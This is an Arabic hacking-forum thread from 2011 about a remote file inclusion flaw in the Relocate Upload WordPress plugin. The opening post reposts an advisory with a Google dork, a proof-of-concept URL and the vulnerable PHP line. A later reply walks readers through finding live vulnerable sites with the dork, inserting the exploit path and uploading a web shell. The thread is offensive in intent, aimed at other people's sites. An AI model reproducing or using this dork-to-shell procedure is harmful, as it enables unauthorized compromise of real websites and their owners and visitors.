ثغره في سكربت ورد برسس ريموت فايلن انكلود

hank00sh · 09-20-2011, 05:50 AM

السلام عليكم ورحمة الله وبركاته

اليوم وانا جالس الف على مواقع الي مختصه بنشر الثغرات

شوفت ثغرات جديده كلها في الورد برسس

ومنها هذي الثغره

كود PHP:


			
# Exploit Title: Relocate Upload Wordpress plugin RFI

# Google Dork: inurl:wp-content/plugins/relocate-upload

# Date: 09/19/2011

# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)

# Software Link: http://wordpress.org/extend/plugins/relocate-upload/download/

# Version: 0.14 (tested)

 

---

PoC

---

http://SERVER/WP_PATH/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

 

---

Vulnerable Code

---

// Move folder request handled when called by GET AJAX

if (isset($_GET['ru_folder']))

{       // WP setup and function access

        define('WP_USE_THEMES', false);

        require_once(urldecode($_GET['abspath']).'/wp-load.php'); // save us looking for it, it's passed as a GET parameter

طيب هذي هي الثغره مع اني ما اعرف كيف استغلها بس ولله العضيم من كثر ما انزل مواضيع عشان تساعودوني قلت لازم اثبت وجودي

بس يارب الثغره تعجبكم

تحياتي لكم

أبو محسن · 09-20-2011, 06:26 AM

مشكوور اخوي وااااصل

تحياااتي لك

bleu moon · 09-20-2011, 06:03 PM

اقتباس


	طيب هذي هي الثغره مع اني ما اعرف كيف استغلها بس ولله العضيم من كثر ما انزل مواضيع عشان تساعودوني قلت لازم اثبت وجودي

^^

http://www.vbspiders.com/vb/f283.html

تابعها

inox team · 09-20-2011, 06:10 PM

Mad-Hacker · 09-20-2011, 06:30 PM

تصحيح
هذه ثغرة ليست في سكربت وردبرس انما , في اضافة - Plugins تضاف الى سكربت وردبرس .
وهناك فرق كبير جدا , لان في هذه الاضافة في اغلب الاحيان ليست من برمجة " وردبرس " , يعني لا علاقة لوردبرس بالخطىء البرمجي .

بالنسبة للاستغلال سهل جدا وان شاء الله تجد مواقع مصابة , شوف كيف

اولا ابحث في Google عن مواقع مصابة باستخدام هذا الدورك

inurl:wp-content/plugins/relocate-upload

رح يظهرك العديد من المواقع , اختر واحد منهم وادخل عليه , وازل من الرابط هذه ..

wp-content/plugins/relocate-upload

وحط مكانها
/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

وارفع شلك

Mad Hacker